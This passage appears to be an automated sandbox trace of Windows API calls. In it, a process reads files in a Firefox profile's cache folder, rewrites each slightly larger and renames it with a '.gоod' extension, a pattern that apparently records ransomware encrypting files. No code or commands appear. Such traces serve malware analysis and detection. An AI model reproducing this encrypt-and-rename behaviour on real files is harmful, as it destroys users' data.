lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", lpFilePart=0x0) returned 0x7f [0251.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0251.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), fInfoLevelId=0x0, lpFileInformation=0x38d0848 | out: lpFileInformation=0x38d0848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e3eac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32e3eac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc330a0fe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4d2)) returned 1 [0251.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0251.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", lpFilePart=0x0) returned 0x7f [0251.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0251.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.088] GetFileType (hFile=0x824) returned 0x1 [0251.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0251.088] GetFileType (hFile=0x824) returned 0x1 [0251.088] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x4d2 [0251.088] ReadFile (in: hFile=0x824, lpBuffer=0x38d2130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x38d2130*, lpNumberOfBytesRead=0x1fbeb028*=0x4d2, lpOverlapped=0x0) returned 1 [0251.089] CloseHandle (hObject=0x824) returned 1 [0251.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", lpFilePart=0x0) returned 0x7f [0251.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0251.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0251.117] GetFileType (hFile=0x824) returned 0x1 [0251.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0251.117] GetFileType (hFile=0x824) returned 0x1 [0251.117] WriteFile (in: hFile=0x824, lpBuffer=0x394ae58*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x394ae58*, lpNumberOfBytesWritten=0x1fbeaf38*=0x4e0, lpOverlapped=0x0) returned 1 [0251.118] CloseHandle (hObject=0x824) returned 1 [0251.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E", lpFilePart=0x0) returned 0x7f [0251.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E.gоod", lpFilePart=0x0) returned 0x84 [0251.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0251.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e3eac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc32e3eac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x91e5263e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e0)) returned 1 [0251.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0251.118] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1D9E8D935EB05D9AE4C4BA15B9B416626E711A1E.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1d9e8d935eb05d9ae4c4ba15b9b416626e711a1e.gоod")) returned 1 [0251.119] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", lpFilePart=0x0) returned 0x7f [0251.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0251.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), fInfoLevelId=0x0, lpFileInformation=0x394c1f8 | out: lpFileInformation=0x394c1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x10fa)) returned 1 [0251.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0251.367] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", lpFilePart=0x0) returned 0x7f [0251.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0251.367] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.368] GetFileType (hFile=0x808) returned 0x1 [0251.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0251.368] GetFileType (hFile=0x808) returned 0x1 [0251.368] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0251.368] ReadFile (in: hFile=0x808, lpBuffer=0x391e8b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x391e8b0*, lpNumberOfBytesRead=0x1fbeb0c8*=0xfa, lpOverlapped=0x0) returned 1 [0251.369] CloseHandle (hObject=0x808) returned 1 [0251.369] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", lpFilePart=0x0) returned 0x7f [0251.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0251.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.369] GetFileType (hFile=0x808) returned 0x1 [0251.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0251.369] GetFileType (hFile=0x808) returned 0x1 [0251.369] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x10fa [0251.369] WriteFile (in: hFile=0x808, lpBuffer=0x3921060*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3921060*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0251.369] CloseHandle (hObject=0x808) returned 1 [0251.370] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", lpFilePart=0x0) returned 0x7f [0251.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0251.370] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.370] GetFileType (hFile=0x808) returned 0x1 [0251.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0251.370] GetFileType (hFile=0x808) returned 0x1 [0251.370] ReadFile (in: hFile=0x808, lpBuffer=0x39233c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x39233c8*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0251.397] CloseHandle (hObject=0x808) returned 1 [0251.397] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", lpFilePart=0x0) returned 0x7f [0251.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0251.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.398] GetFileType (hFile=0x808) returned 0x1 [0251.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0251.398] GetFileType (hFile=0x808) returned 0x1 [0251.398] WriteFile (in: hFile=0x808, lpBuffer=0x3922078*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3922078*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0251.398] CloseHandle (hObject=0x808) returned 1 [0251.398] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B", lpFilePart=0x0) returned 0x7f [0251.398] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B.gоod", lpFilePart=0x0) returned 0x84 [0251.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0251.399] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x92100f9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110a)) returned 1 [0251.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0251.399] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E2EF845DB3CBD8550BA9EEF20F8D52AF0FBA45B.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e2ef845db3cbd8550ba9eef20f8d52af0fba45b.gоod")) returned 1 [0251.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", lpFilePart=0x0) returned 0x7f [0251.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0251.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), fInfoLevelId=0x0, lpFileInformation=0x39a1ee0 | out: lpFileInformation=0x39a1ee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x639)) returned 1 [0251.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0253.649] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", lpFilePart=0x0) returned 0x7f [0253.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0253.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.650] GetFileType (hFile=0x82c) returned 0x1 [0253.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0253.650] GetFileType (hFile=0x82c) returned 0x1 [0253.650] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x639 [0253.650] ReadFile (in: hFile=0x82c, lpBuffer=0x3a92368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3a92368*, lpNumberOfBytesRead=0x1fbeb028*=0x639, lpOverlapped=0x0) returned 1 [0253.651] CloseHandle (hObject=0x82c) returned 1 [0253.679] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", lpFilePart=0x0) returned 0x7f [0253.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0253.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0253.680] GetFileType (hFile=0x82c) returned 0x1 [0253.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0253.681] GetFileType (hFile=0x82c) returned 0x1 [0253.681] WriteFile (in: hFile=0x82c, lpBuffer=0x3b0b768*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3b0b768*, lpNumberOfBytesWritten=0x1fbeaf38*=0x640, lpOverlapped=0x0) returned 1 [0253.681] CloseHandle (hObject=0x82c) returned 1 [0253.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7", lpFilePart=0x0) returned 0x7f [0253.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7.gоod", lpFilePart=0x0) returned 0x84 [0253.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0253.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x936c268a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x640)) returned 1 [0253.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0253.681] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1E4C1DE6D9BC3C738CB37D3D4E0CCCDBDD4EC3E7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1e4c1de6d9bc3c738cb37d3d4e0cccdbdd4ec3e7"), 